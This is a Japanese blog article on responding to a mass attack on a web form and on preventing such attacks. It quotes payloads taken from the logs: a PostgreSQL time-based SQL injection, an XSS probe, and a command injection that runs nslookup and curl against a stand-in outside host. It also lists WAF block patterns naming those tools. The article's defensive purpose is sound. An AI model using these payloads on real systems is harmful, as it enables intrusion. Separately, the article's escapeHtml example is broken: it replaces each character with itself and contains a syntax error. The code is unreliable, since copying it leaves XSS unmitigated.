SQLインジェクションとXSS攻撃によるWebフォーム大量送信の対処方法と予防策 WAF

本記事では、実際に発生したWebフォームへの大量攻撃事例を基に、攻撃の検知から対策までを詳しく解説します。

SQLインジェクションとは

「入力欄を使って、データベースに不正な命令（SQLコマンド）を送り込む攻撃」です。

SQLインジェクションとは？ 正常なログイン処理 ユーザー入力 ID: yamada データベース検索 SELECT * FROM users WHERE id = ‘yamada’ SQLインジェクション攻撃 不正な入力 ‘ OR ‘1’=’1 不正なSQL実行 SELECT * FROM users WHERE id=” OR ‘1’=’1′

SQLインジェクション攻撃のパターン

検知された主な攻撃パターンには以下のようなものがありました：

Time-based SQLインジェクション

SQLインジェクション攻撃の中でも「Time-based SQLインジェクション」と呼ばれる典型的な攻撃パターンの一つです。

下記が攻撃者に入力された内容です

1-1 OR 222=(SELECT 222 FROM PG_SLEEP(15))--

⬇️これは下記を想定しています

# Webサイトの裏で動いていそうなSQL
SELECT * FROM users WHERE id = ○○

# ○○の部分に攻撃コードを入れる
SELECT * FROM users WHERE id = 1-1 OR 222=(SELECT 222 FROM PG_SLEEP(15))

データベース検索の基本と攻撃の仕組み 1. 通常のデータベース検索 入力フォーム ユーザーID: 5 実行されるSQL SELECT * FROM users WHERE id = 5 2. 攻撃コードが入力された場合 入力フォーム 1-1 OR 222=… SELECT * FROM users WHERE id = 1-1 (結果: 0 → 失敗する検索) OR 222=(SELECT 222 FROM PG_SLEEP(15)) (15秒間の強制待機)

< 詳しい内容 >

Time-based SQLインジェクションの仕組み Step 1: カモフラージュ (1-1) • 正常なSQL条件のように見せかける • 結果は必ず0になる（無害な計算） Step 2: 比較処理 (222=SELECT 222) • データベースが応答するか確認 • エラーが出にくい数値（222）を使用 • 必ずTRUEになる比較で成功判定 Step 3: 遅延実行 (PG_SLEEP(15)) • データベースを15秒間強制的に待機 • 応答時間で攻撃の成功を確認 • 大量実行でサーバーに負荷をかける

この攻撃は、PostgreSQLデータベースの時間ベース（Time-based）SQLインジェクションを試みるものです。

XSSスキャンの特徴

攻撃者は以下のような形式でXSS攻撃も試みていました：

XXSの準備

下記は本格的なXSS攻撃ではなく、「脆弱性の探り」の段階です。

"+response.write(計算式)+"
探索段階（スキャン） “+response.write( 123*456 )+” 目的：脆弱性の確認のみ ・単純な計算実行 ・実害なし 実際の攻撃（ペイロード） <script> 悪意のあるコード実行 </script> 目的：実際の攻撃実行 ・情報窃取 ・具体的な被害あり 今回検出されたのは「探索段階」のコード 実際の攻撃（ペイロード）ではない

これは、JavaScriptコードの実行を試みる典型的なXSS攻撃パターンです。

自動化された攻撃の特徴

  • 連続的な送信パターン
  • 異なる攻撃手法の組み合わせ
  • テスト用データの使用（固定の電話番号やメールアドレス）

コマンドインジェクション攻撃とは

コマンドインジェクション攻撃は、Webアプリケーションを通じてサーバー上でシステムコマンドを不正に実行しようとする攻撃手法です。

攻撃コードの例

|(nslookup -q=cname example.test.domain||curl example.test.domain)1
コマンドインジェクション攻撃の仕組み 攻撃コードの構造 | コマンド実行を可能にする nslookup -q=cname DNSサーバーへの問い合わせ curl 外部サーバーへの接続試行 攻撃の目的 1. サーバーでコマンドが実行可能か確認 2. 外部との通信が可能か検証 3. 攻撃の成功を確認（特殊なドメインを使用） 4. システムの脆弱性を探索

の検知
– サーバー側でのコマンド実行を試みる攻撃
– DNSルックアップとcURLを使用した外部接続の試み
– 攻撃検知用の特殊なドメイン(.bxss.me)の使用

インフラへの影響と症状

メールシステムへの影響

  • フォーム送信毎のメール通知による過負荷
  • メール転送システムのリソース枯渇
  • 正常なメール配信への影響

サーバーリソースの消費

  • CPU使用率の急激な上昇
  • メモリリソースの枯渇
  • ディスクI/Oの増加

セキュリティインシデントへの対応

即時対応措置

  • 攻撃元IPアドレスのブロック
  • メール転送設定の一時停止
  • WAFルールの緊急適用

WAF

WAF（Web Application Firewall）はアプリケーション側の対策とは異なるレイヤーでの防御を提供します。

  • 不審なパターン（|、curl、nslookupなど）を含むリクエストを遮断
  • 特定のドメイン（.bxss.meなど）へのアクセスをブロック
  • 大量のリクエストを制限
WAFとアプリケーションセキュリティの違い WAFでの防御 1. アプリケーションの手前で防御 2. パターンベースでの検知と遮断 3. リアルタイムでの防御ルール更新 4. トラフィックレベルでの制御 アプリケーションでの防御 1. 入力値の検証とサニタイズ 2. セッション管理とユーザー認証 3. ビジネスロジックに基づく制御 4. データベースセキュリティ 外部からの通信 WAF アプリケーション
  1. 一般的なWAF提供者：
  • クラウドプロバイダー（AWS WAF、Google Cloud Armorなど）
  • セキュリティベンダー（Cloudfareなど）
  • レンタルサーバー事業者
  • ホスティング事業者

システム改善策

  • フォーム送信の回数制限実装
  • reCAPTCHAの導入
  • エラーハンドリングの改善

予防的セキュリティ対策

フォームセキュリティの強化

// PreparedStatementの使用例
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$user_id]);

XSS対策の実装

// 入力値のエスケープ処理
function escapeHtml(str) {
    return str
        .replace(/&/g, '&')
        .replace(/</g, '<')
        .replace(/>/g, '>')
        .replace(/"/g, '"')
        .replace(/'/g, ''');
}

監視と運用体制の構築

ログ監視の重要性

  • リアルタイムのアクセスログ分析
  • 異常検知システムの導入
  • インシデントレスポンス手順の整備

アラート設定

  • 急激なリソース使用率の上昇
  • 異常なフォーム送信パターン
  • データベースの応答時間の遅延